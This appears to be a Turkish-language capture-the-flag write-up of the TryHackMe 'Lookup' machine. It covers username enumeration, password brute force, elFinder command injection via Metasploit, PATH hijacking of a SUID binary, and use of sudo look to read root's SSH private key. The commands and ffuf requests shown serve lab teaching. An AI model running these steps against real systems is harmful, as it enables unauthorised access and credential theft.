THM Lookup
Enumeration
THM Lookup

Enumeration
İlk olarak hedef makinedeki açık portları ve bu portlarda çalışan servislerin versiyonlarını belirlemek için Nmap taraması gerçekleştirdim.

Elde edilen servis ve versiyon bilgileri araştırdığımda doğrudan kullanılabilecek kayda değer bir zafiyet bulamadım. Bu nedenle araştırmaya 80 numaralı portta çalışan web uygulaması üzerinden devam ettim.
Web uygulaması açıldığında bir login sayfası ile karşılaştım.

Web Enumeration
İlk olarak login formunda SQL Injection kullanarak kimlik doğrulamayı bypass etmeye çalıştım ancak başarılı olamadım.
Daha sonra uygulamanın farklı kullanıcı adlarına verdiği cevapları incelemek için rastgele bilgilerle giriş denemeleri yaptım.
Rastgele bir kullanıcı adı ile:
Wrong username or password. Please try again
cevabı alınırken, kullanıcı adı admin olarak gönderildiğinde:
Wrong password. Please try again.
cevabı alını aldım.
Bu farklılık, uygulamanın username enumeration yapılmasına izin verdiğini gösteriyor. Yani uygulamanın cevabından kullanıcı adının sistemde mevcut olup olmadığı anlaşılabiliyor.
Bu davranış kullanılarak uygulamada kayıtlı başka kullanıcı adlarını bulmak için ffuf aracını kullandım ve jose isimli bir kullanıcı keşfettim.

username enumeration için request_login.txt içeriği:
POST /login.php HTTP/1.1
Host: lookup.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://lookup.thm
Connection: keep-alive
Referer: http://lookup.thm/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=FUZZ&password=1234
Burada FUZZ kısmına rockyou.txt wordlist'indeki değerler gönderildi ve uygulamanın cevaplarındaki farklılıklar kullanılarak geçerli kullanıcı adları tespit edildi.
Password Brute Force
Geçerli kullanıcı adları elde edildikten sonra bu hesaplar üzerinde parola brute-force denemesi yaptım.
Öncelikle admin hesabı denedim ancak başarılı olamadım.
Daha sonra jose kullanıcısı üzerinde parola brute-force gerçekleştirdim ve:
password123
parolasını buldum.

parola enumeration için request_login.txt içeriği:
POST /login.php HTTP/1.1
Host: lookup.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://lookup.thm
Connection: keep-alive
Referer: http://lookup.thm/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=jose&password=FUZZ
Bulunan kullanıcı adı ve parola ile login işlemi gerçekleştirdim.
elFinder
Başarılı giriş sonrasında elFinder isimli dosya yönetim uygulamasının bulunduğu bir sayfa ile karşılaştım.

Uygulamanın versiyonu incelendiğinde versiyonunun elFinder 2.1.47 kullanıldığı görüldü.

Bu versiyon araştırdığımda command injection zafiyetinin bulunduğu ve bunun için bilinen exploitlerin mevcut olduğu tespit ettim.
Metasploit kullanılarak zafiyet istismar ettim ve hedef makinede shell elde ettim.

SUID Enumeration
Shell elde edildikten sonra sistemdeki kullanıcıları incelemek için /etc/passwd dosyası kontrol ettim.
Burada think isimli bir kullanıcı buldum.

Daha sonra sistemde SUID/SGID biti bulunan dosyaları bulmak için:
find / -type f -perm -04000 -ls 2>/dev/null
komutu çalıştırdım.
Çıktı incelendiğinde pwm isimli bir binary dikkatimi çekti.

pwd çalıştırıldığında:
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found
çıktısı elde edildi.
Burada önemli bir detay dikkat çekiyor: program kullanıcı adını belirlemek için doğrudan /usr/bin/id gibi tam bir yol kullanmak yerine yalnızca:
id
komutunu çalıştırıyor.
Bu durum PATH hijacking ihtimalini ortaya çıkarıyor.
Binary Analysis
pwm binary'sinin davranışını daha iyi anlamak için Dogbolt kullanılarak reverse engineering yapıtım.
Decompile edilen kod incelendiğimde programın:
idkomutunu çalıştırdığı,- Çıktı içerisinden kullanıcı adını regex/format kullanarak çıkardığı,
- Daha sonra
/home/<username>/.passwordsdosyasını açtığı, - Dosyanın içeriğini ekrana yazdırdığı
gördüm.
Önemli bölüm:
snprintf(local_e8,100,"id");
pFVar2 = popen(local_e8,"r");
Ardından kullanıcı adı elde edildikten sonra:
snprintf(local_78,100,"/home/%s/.passwords",local_128);
pFVar2 = fopen(local_78,"r");
kullanılarak ilgili kullanıcının .passwords dosyası okunuyor.
Dolayısıyla id komutunun çıktısını kontrol edebilirsek programın hangi kullanıcı adına ait dosyayı okuyacağını da kontrol edebiliriz.
PATH Hijacking
Bunun için /tmp dizini içerisine sahte bir id executable'ı oluşturdum:
nano /tmp/id
İçerisine:
#!/bin/bash
echo "uid=33(think) gid=33(think) groups=33(think)"
yazdım.
Dosya çalıştırılabilir hale getirdim:
chmod +x /tmp/id
Ardından /tmp dizini PATH'in başına eklendi:
export PATH=/tmp:$PATH
Buradaki kritik nokta, pwm binary'sinin id komutunu tam yol belirtmeden çalıştırmasıdır.
Normalde sistem PATH içerisindeki dizinlerde id komutunu arar. /tmp dizini PATH'in başına eklendiği için program gerçek id binary'sinden önce bizim oluşturduğumuz /tmp/id dosyasını bulacaktır.
Böylece pwm çalıştırıldığında gerçek kullanıcı yerine bizim belirlediğimiz:
think
kullanıcısının id çıktısı döndürülmüş olur.
Program da bu çıktıyı kullanarak:
/home/think/.passwords
dosyasını okumaya çalışacaktır.
pwm çalıştırıldığında dosyanın içeriği başarıyla ekrana yazdırıldı.
Böylece think kullanıcısına ait parola adayları elde edilmiş oldu.

SSH Brute Force
Elde edilen parola adayları think_password.txt dosyasına kaydettim.
Daha sonra Hydra kullanılarak SSH servisi üzerinde brute-force gerçekleştirdim.

Doğru parola elde edildikten sonra SSH üzerinden think kullanıcısına bağlandım.
Kullanıcının home dizininde bulunan user.txt dosyası okunarak ilk flag elde ettim.

Privilege Escalation
Bir sonraki adımda think kullanıcısının hangi komutları root yetkisiyle çalıştırabildiği kontrol ettim:
sudo -l
Çıktıda look komutunun parola gerektirmeden root yetkisiyle çalıştırılabildiği gördüm.

Bu durum privilege escalation için kullanılabilir.
look komutunun dosya içerisindeki belirli bir değeri aramak için kullanılabilmesinden yararlanılarak root kullanıcısının SSH private key'i okunmaya çalıştım:
sudo look '' /root/.ssh/id_rsa
Böylece root kullanıcısına ait RSA private key elde ettim.

Root Access
Elde edilen private key kendi makinemde id_rsa isimli bir dosyaya kaydettim.
SSH’nin private key’i kabul etmesi için dosyanın izinleri düzenledim:
chmod 600 id_rsa
Ardından elde edilen anahtar kullanılarak root kullanıcısına SSH bağlantısı gerçekleştirdim:
ssh -i id_rsa root@TARGET_IP
Başarılı bağlantının ardından root yetkisi elde edildi.

Son olarak:
cat /root/root.txt
komutu çalıştırılarak ikinci flag elde ettim.

Sonuç
Bu makinede kullanılan saldırı zinciri özetle şu şekildeydi:
- Nmap ile açık portlar keşfedildi.
- Web uygulaması üzerinde username enumeration yapıldı.
josekullanıcısı keşfedildi.- Kullanıcının parolası brute-force ile elde edildi.
- elFinder 2.1.47 keşfedildi.
- Command injection kullanılarak shell elde edildi.
- SUID binary’ler incelendi.
pwmbinary'sinde PATH hijacking zafiyeti tespit edildi.thinkkullanıcısının.passwordsdosyası okundu.- Elde edilen parola ile SSH üzerinden
thinkkullanıcısına erişildi. sudo -lilelookkomutunun root yetkisiyle çalıştırılabildiği tespit edildi.lookkullanılarak root kullanıcısının SSH private key'i okundu.- Private key kullanılarak root erişimi elde edildi.
root.txtokunarak ikinci flag ele geçirildi.
Makinedeki temel zafiyetler:
- Username Enumeration
- Weak Password
- Command Injection
- SUID Binary
- PATH Hijacking
- Sensitive File Disclosure
- Sudo Misconfiguration
메타데이터
- post_id
- a01fe892de6d
- slug
- thm-lookup-a01fe892de6d
- url
- https://medium.com/@firat.kilic55600/thm-lookup-a01fe892de6d
- canonical_url
- https://medium.com/@firat.kilic55600/thm-lookup-a01fe892de6d
- author_url
- https://medium.com/@firat.kilic55600
- status
- ok
- fetched_at
- 2026-09-01 07:14:51